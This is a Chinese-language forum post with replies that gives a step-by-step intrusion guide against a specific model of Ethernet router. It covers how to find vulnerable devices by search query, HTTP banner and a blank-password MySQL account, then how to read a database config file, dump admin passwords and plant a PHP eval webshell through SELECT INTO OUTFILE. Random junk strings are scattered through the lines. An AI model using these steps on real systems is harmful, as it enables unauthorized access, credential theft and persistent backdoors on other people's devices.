利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'
, R1 o! m" Q3 X7 ^7 P
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

& e; }8 n5 m: U. O' Y7 b8 E3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

3 @! d, R8 M) t3 D( }. Y

入侵步骤：
1 @& o3 S* v% w2 |8 \6 r
2 v4 m9 Z# c% d/ j. u, |0 V, u1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
- z/ p9 U7 n6 x1 b* E7 r$ s
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
( k- h7 U0 y$ D  c3 r, b3：得到密码后连接，查看GUI管理密码：
* D* s1 b5 G5 tuse ser_500
5 I8 A! Y7 a& U2 x  ~/ C: Uselect id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
7 v3 E: Q2 g5 `8 h, }create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
' g( ^' x; w) R5 V! x# gselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
+ \# e2 e- G0 ^7 s5 W2 a/ Udrop table ok;

4 L9 i$ |. k" j2 o3 R! y) {5:连接后门shell.php
  U- V+ V  O6 F, z
6. 搞定！
7 A, `9 X6 ]+ O; Q9 d
  B* V8 h: K# p; F# B: T4 E

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。